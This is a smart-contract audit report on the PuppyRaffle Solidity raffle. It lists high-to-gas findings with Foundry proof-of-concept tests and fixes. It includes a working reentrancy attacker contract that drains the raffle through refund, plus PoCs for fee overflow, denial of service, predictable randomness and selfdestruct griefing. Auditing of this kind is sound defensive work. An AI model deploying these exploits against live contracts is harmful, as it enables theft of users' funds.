



PuppyRaffle Audit Report

Version 1.0

web3pavlou

April 19, 2026

Protocol Audit Report

web3pavlou

April 19, 2026

Prepared by: web3pavlou

Lead Security Researcher: web3pavlou

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - Medium
 - Low
 - Informational
 - Gas

Protocol Summary

This project is to enter a raffle to win an NFT. The protocol should do the following:

1. Call the `enterRaffle` function. Users are allowed to get a refund of their ticket & value if they call the `refund` function. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy. The owner of the protocol will set a `feeAddress` to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/  
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

First real audit i made. Lots of fun.

Issues found

Severity	Number of issues found
High	5
Medium	4
Low	1
Info	8
Gas	2
Total	20

Findings

High

[H-1] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prion to 0.8.0 integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// `myVar` will be 0
```

The max value of a `uint64` is 18446744073709551615 as we can see in chisel. In terms of ETH this is ~18. Meaning, if more than 18 ETH of fees are collected, the fee casting will truncate the value.

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees` however if the `totalFees` variable overflows the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concepts: 1. We conclude a raffle of 4 players 2. We then enter a raffle of 89 players, and conclude the raffle 3. `totalFees` as we see from the PoC will be:

```
totalFees = totalFees + uint64(fee);  
// aka  
totalFees = 8000000000000000000 + 1780000000000000000  
//and this will overflow  
totalFees = 153255926290448384
```

4. You will not be able to withdraw due to this strict equality line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
  ↳ There are currently players active!");  
uint256 feesToWithdraw = totalFees;
```

Although you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of this protocol. At some point, there will be too much balance in the contract that the above will be impossible to hit.

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_totalFeeOverflow() public playersEntered {  
    // We finish a raffle of 4 to collect some fees  
    vm.warp(block.timestamp + duration + 1);  
    vm.roll(block.number + 1);  
    puppyRaffle.selectWinner();  
    uint256 startingTotalFees = puppyRaffle.totalFees();  
    // startingTotalFees = 8000000000000000000  
  
    //89 new players enter the raffle  
    uint256 playersNum = 89;  
    address[] memory players = new address[](playersNum);  
    for (uint256 i; i < playersNum; i++) {  
        players[i] = address(i);  
    }  
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);  
    // We end the raffle
```

```

vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

// And here is where the issue occurs
// We will now have fewer fees even though we just finished a second
  ↪ raffle
puppyRaffle.selectWinner();

uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending total fees:", endingTotalFees);
assert(endingTotalFees < startingTotalFees);
vm.prank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

```

Recommended mitigation: There are a few possible mitigations. 1. Use a newer version of solidity, and a uint256 instead of a uint64 for `PuppyRaffle::totalFees` 2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity however you would still have a hard time with the uint64 type if too many fees are collected 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```

-require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
  ↪ are currently players active!");

```

There are more attack vectors with that final `require` so we recommend removing it regardless.

[H-2] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
      ↪ can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
      ↪ refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);
}

```

```
@>         players[playerIndex] = address(0);

            emit RaffleRefunded(playerAddress);
        }
```

A player who has entered the raffle could have a fallback/receive function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a fallback function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
    // users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // create attack contract and user
    ReentrancyAttacker attackerContract = new
    ↪ ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    // starting balances
    uint256 startingAttackContractBalance =
    ↪ address(attackerContract).balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
```

```
// attack
vm.prank(attacker);
attackerContract.attack{value: entranceFee}();

// impact
console.log("attackerContract balance: ",
  ↪ startingAttackContractBalance);
console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
console.log("ending attackerContract balance: ",
  ↪ address(attackerContract).balance);
console.log("ending puppyRaffle balance: ",
  ↪ address(puppyRaffle).balance);
}
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;

    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }
}
```



```
    receive() external payable {  
        _stealMoney();  
    }  
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {  
    address playerAddress = players[playerIndex];  
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player  
↪ can refund");  
    require(playerAddress != address(0), "PuppyRaffle: Player already  
↪ refunded, or is not active");  
  
+    players[playerIndex] = address(0);  
+    emit RaffleRefunded(playerAddress);  
    payable(msg.sender).sendValue(entranceFee);  
-    players[playerIndex] = address(0);  
-    emit RaffleRefunded(playerAddress);  
}
```

[H-3] `PuppyRaffle::refund` replaces an index with `address(0)` which can cause the function `PuppyRaffle::selectWinner` to revert

Description: `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with `address(0)` which is considered a valid value by solidity. This can cause a lot of issues because the `players` array length is unchanged and `address(0)` is now considered a player.

```
players[playerIndex] = address(0);
```

```
@> uint256 totalAmountCollected = players.length * entranceFee;  
(bool success,) = winner.call{value: prizePool}("");  
require(success, "PuppyRaffle: Failed to send prize pool to winner");  
_safeMint(winner, tokenId);
```

If even one player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because the `prizePool` is based on an amount calculated by considering that no player has refunded his position and exited the lottery, it will try to send more tokens than what the contract actually has:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;

(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

However, even if this calls passes for some reason (maybe there are more native tokens that what the players have sent or because of the 80% ...). The call will still fail because of the following line is minting to the zero address is not allowed.

```
_safeMint(winner, tokenId);
```

Impact: The lottery is stopped, any call to the function `PuppyRaffle::selectWinner` will revert. There is no actual loss of funds for users(except gas losses) as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers.

Proof of Concepts:

PoC

Place the following test into `PuppyRaffleTest.t.sol`. It demonstrates two independent revert paths: first, an out-of-funds revert because `totalAmountCollected` is calculated using the full `players.length` despite one player having refunded; second, even if the contract is topped up, `_safeMint` will revert since minting to address `(0)` is disallowed.

```
function test_winnerSelectionRevertsAfterExit() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // There are four players. Winner is last slot
    vm.prank(playerFour);
    puppyRaffle.refund(3);

    // reverts even before because out of Funds
    vm.expectRevert();
    puppyRaffle.selectWinner();

    vm.deal(address(puppyRaffle), 10 ether);
    vm.expectRevert("ERC721: mint to the zero address");
    puppyRaffle.selectWinner();
}
```

Recommended mitigation: - Ensure winner selection only considers active (non-zero) players. - Remove refunded players from the array (e.g., swap-and-pop). - Alternatively, build a temporary array

of active players before selecting a winner.

[H-4] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender` `block.timestamp` & `block.difficulty` together creates a predictable find number. A predictable random number is a vulnerability in a protocol where randomness must be infrastructural. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund` if they see they're not the winner.

Impact: Any user can influence the winner of the raffle winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as it who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on `prevrandao`. `block.difficulty` was recently replaced with `prevrandao`. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector]({https://medium.com/better-programming/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf}) in the blockchain space.

Recommended Mitigation: Consider using a cryptographic provable random number generator such as Chainlink VRF.

[H-5] Typecasting from uint256 to uint64 in PuppyRaffle::selectWinner may lead to overflow and incorrect fee calculation

Description In `PuppyRaffle::selectWinner` there is an unsafe typecasting from a `uint256` to a `uint64` when fees are calculated in this line `totalFees = totalFees + uint64(fee);`. If the total fees exceeds the `type(uint64).max` it leads to an overflow and fee accounting corruption due to truncation and potential overflow.

Impact - Corruption of `totalFees` due to truncation - Potential overflow in Solidity 0.7.6 (unchecked arithmetic) - `withdrawFees()` can revert due to mismatch between `totalFees` and actual balance - Fees may become permanently locked in the contract

Proof of Concepts

PoC

Placed the following test into `PuppyRaffleTest.t.sol`. In this test, `assertTrue(success)` checks if the ether was successfully sent to the contract, and `assertEq(finalBalance, initialBalance + fee)` checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow.

```
function test_overflow() public {
    uint256 puppyRaffleInitialBalance = address(puppyRaffle).balance;
    console.log("This is raffle's initial balance:",
        ↪ puppyRaffleInitialBalance);

    uint256 fee = 2 ** 64; // greater than `type(uint64).max` can hold
    (bool success,) = address(puppyRaffle).call{value: fee}("");
    assertTrue(success);

    uint256 puppyRaffleFinalBalance = address(puppyRaffle).balance;

    assertEq(puppyRaffleFinalBalance, puppyRaffleInitialBalance + fee);
}
```

After we ran this test we can indeed see that it truncates back to 0.

Ran `1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest`
[FAIL] `test_overflow()` (gas: 34382)

Logs:

```
Error: Assertion Failed
Error: a == b not satisfied [uint]
Expected: 18446744073709551616
Actual: 0
```

Recommended mitigation Change the data type of `totalFees` from `uint64` to `uint256`. This will prevent any potential overflow issues, as `uint256` can accommodate much larger numbers than `uint64`.

```
//Change the state variable from uint64 to uint256
-uint64 public totalFees = 0;
+uint256 public totalFees = 0;
.
.
.
//And update the line where totalFees is updated from inside `selectWinner`:
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

Mediums

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of service (DoS) attack, incrementing gas costs for future entrants.

Description The `PuppyRaffle::enterRaffle` function loops through the `newPlayers` array to check for duplicates. However, the longer the `PuppyRaffle::newPlayers` array is, the more checks a new player will have to make. This means the gas costs for new players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `newPlayers` array is an additional check the loop will have to make.

```
// @audit DoS attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
        ↪ player");
    }
}
```

Impact The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later players from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concepts If we have 2 sets of 150 players enter, the gas cost will be as such: - 1st 150 players: ~12873402 gas - 2nd 150 players: ~40998542 gas

This is almost 4x times more expensive for the second 150 players.

PoC

Placed the following test into `PuppyRaffleTest.t.sol`

```
function test_denialOfService() public {

    uint256 playersNum = 150;
    address[] memory players = new address[](playersNum);

    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
}
```

```

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee *
↪  players.length}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd);

    console.log("gas cost on the first 150:", gasUsedFirst);

    address[] memory playersTwo = new address[](playersNum);

    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(i + playersNum);
    }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee *
↪  players.length}(playersTwo);
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);

    console.log("gas cost on the second 150:", gasUsedSecond);
    assert(gasUsedFirst < gasUsedSecond);
}

```

Recommended mitigation There are a few recommendations: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```

+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
↪  Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
+         addressToRaffleId[newPlayers[i]] = raffleId;
    }
}

```

```
-         // Check for duplicates
+         // Check for duplicates only from the new players
+         for(uint256 i = 0; i < newPlayers.length; i++){
+             require(addressToRaffleId[newPlayers[i]] != raffleId,
↪ "PuppyRaffle: Duplicate player");
+         }
-         for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate
↪ player");
-             }
-         }
-         emit RaffleEnter(newPlayers);
    }

    .
    .
    .
    function selectWinner() external {
+         raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
↪ "PuppyRaffle: Raffle not over");
    .
    .
    .
    }
```

3. Alternatively you could use OpenZeppelin's EnumerableSet library.

[M-2] Incorrect accounting of active players leads to overestimated prize and potential DoS in PuppyRaffle::selectWinner.

Description In `PuppyRaffle::selectWinner`, `players.length` is treated as the number of active entrants. However, refunded players are only replaced with `address(0)` and are not removed from the array. As a result, the contract calculates `totalAmountCollected` and `prizePool` using refunded slots as if they were still active. This creates a mismatch between the contract's accounting and its actual ETH balance. *Example:* - 4 players enter the raffle

- 1 player calls `refund()`
- `players.length` remains 4
- Actual ETH in the contract equals only 3 tickets
- `totalAmountCollected` incorrectly assumes 4 tickets

- prizePool is overestimated

Impact - selectWinner() can revert due to insufficient balance, preventing the raffle from completing (Denial of Service). - Funds can become permanently locked in the contract. - There is no mechanism to recover from this inconsistent state. - The protocol violates an implicit invariant: total collected funds $\neq$ sum of active entries.

Proof of Concepts

PoC

Placed the following test into PuppyRaffleTest.t.sol

```
function test_selectWinnerRevertsAfterRefund() public {
    // users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    uint256 playerOneIndex =
    ↪ puppyRaffle.getActivePlayerIndex(address(playerOne));
    // playerOne refunds → contract now has only 3 * entranceFee
    vm.prank(playerOne);
    puppyRaffle.refund(playerOneIndex);
    assertEq(address(puppyRaffle).balance, entranceFee * 3);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

Recommended mitigation There are a few recommendations: - Track active players explicitly (e.g., mapping(address => bool) isActive). - Remove refunded players using a swap-and-pop pattern. - Alternatively, an EnumerableSet (e.g., OpenZeppelin's implementation) can be used to track active players without leaving gaps in the data structure. However, this approach may introduce additional gas overhead compared to simpler patterns.

[M-3] Smart contract winners without a fallback or receive function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check in `PuppyRaffle::enterRaffle` and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` could revert many times making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contracts wallets entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (recommended)

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could selfdestruct a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
function withdrawFees() external {
@>     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
↪     There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a selfdestruct
3. feeAddress is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the PuppyRaffle::withdrawFees function.

```
function withdrawFees() external {  
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    ↳ There are currently players active!");  
    uint256 feesToWithdraw = totalFees;  
    totalFees = 0;  
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");  
    require(success, "PuppyRaffle: Failed to withdraw fees");  
}
```

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns ambiguous zero value (0 = valid index && not found), causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in PuppyRaffle::players array at index 0, this will return 0, but according to the natspec it will also return 0 if the player is not in the array

```
/// @return the index of the player in the array, if they are not  
    ↳ active, it returns 0  
function getActivePlayerIndex(address player) external view returns  
    ↳ (uint256) {  
    for (uint256 i = 0; i < players.length; i++) {  
        if (players[i] == player) {  
            return i;  
        }  
    }  
  
    return 0;  
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User may think they have not entered correctly due to the function documentation

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_getActivePlayerIndexAmbiguity() public {
    // 1. playerOne enters → goes to index 0
    address[] memory players = new address[](1);
    players[0] = playerOne;

    puppyRaffle.enterRaffle{value: entranceFee}(players);

    // 2. Query index of playerOne
    uint256 indexFound = puppyRaffle.getActivePlayerIndex(playerOne);
    console.log("indexFound:", indexFound);

    // 3. Query index of random address (not in raffle)
    address randomPlayerEntry = address(999);
    uint256 indexNotFound =
    ↪ puppyRaffle.getActivePlayerIndex(randomPlayerEntry);
    console.log("indexNotFound:", indexNotFound);

    // Both return 0
    assertEq(indexFound, 0);
    assertEq(indexNotFound, 0);
}
```

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of solidity

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Check for address (0) when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 69

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
feeAddress = newFeeAddress;
```

[I-4] Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as external.

- Found in src/PuppyRaffle.sol Line: 85

```
function enterRaffle(address[] memory newPlayers) public payable {}
```

- Found in src/PuppyRaffle.sol Line: 109

```
function refund(uint256 playerIndex) public {}
```

[I-5] PuppyRaffle::selectWinner does not follow CEI which is not a best practice

It's best to keep the code clean and follow CEI (Checks,Effects,Interactions).

```
-      (bool success,) = winner.call{value: prizePool}("");
-      require(success, "PuppyRaffle: Failed to send prize pool to
  ↪ winner");
      _safeMint(winner, tokenId);
+      (bool success,) = winner.call{value: prizePool}("");
+      require(success, "PuppyRaffle: Failed to send prize pool to
  ↪ winner");
```

[I-6] Use of “magic numbers” is discouraged

Define and use constant variables instead of using literals. If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-7] State changes are missing events

Description: Several functions in the contract perform important state transitions without emitting corresponding events. Events are critical for off-chain consumers (indexers, frontends, monitoring systems) to reliably track contract activity. Missing events reduce transparency and make it harder to reconstruct state changes such as raffle lifecycle resets, winner selection, fee withdrawals, and internal accounting updates. While not affecting on-chain correctness, this deviates from best practices and weakens observability and auditability of the protocol.

Instances:

`selectWinner()`: Updates multiple critical state variables without emitting an event: previousWinner is set raffleStartTime is reset players array is deleted totalFees is increased A winner is

selected and paid No event is emitted to signal winner selection, raffle reset, or fee accrual with-
drawFees(): Updates totalFees (reset to 0) and transfers ETH to feeAddress No event emitted
to track fee withdrawal or amount withdrawn constructor(): Initializes critical configuration
such as feeAddress, raffleDuration, and entranceFee No initialization event emitted
(useful for indexers and deployment tracking) enterRaffle(): Emits RaffleEnter, but does
not capture full state impact (e.g., total players after entry or total value contributed), limiting
observability refund() Emits RaffleRefunded, but does not include refunded amount, which
may be useful for off-chain tracking

Overall, key lifecycle actions (winner selection, raffle reset, fee accounting, and withdrawals) lack ded-
icated events, making it difficult to monitor protocol behavior in a production environment.

[I-8] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {  
-     for (uint256 i = 0; i < players.length; i++) {  
-         if (players[i] == msg.sender) {  
-             return true;  
-         }  
-     }  
-     return false;  
- }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable. State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor. State variables whose values are fixed at compile-time and cannot be modified after the contract is deployed should be declared constant to save gas. Add the `constant` attribute to state variables that are fixed at compile-time.

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

```
+      uint256 playersLength = players.length;
-      for (uint256 i = 0; i < players.length - 1; i++) {
+      for (uint256 i = 0; i < playersLength - 1; i++) {
-          for (uint256 j = i + 1; j < players.length; j++) {
+          for (uint256 j = i + 1; j < playersLength; j++) {
              require(players[i] != players[j], "PuppyRaffle: Duplicate
↪   player");
          }
      }
```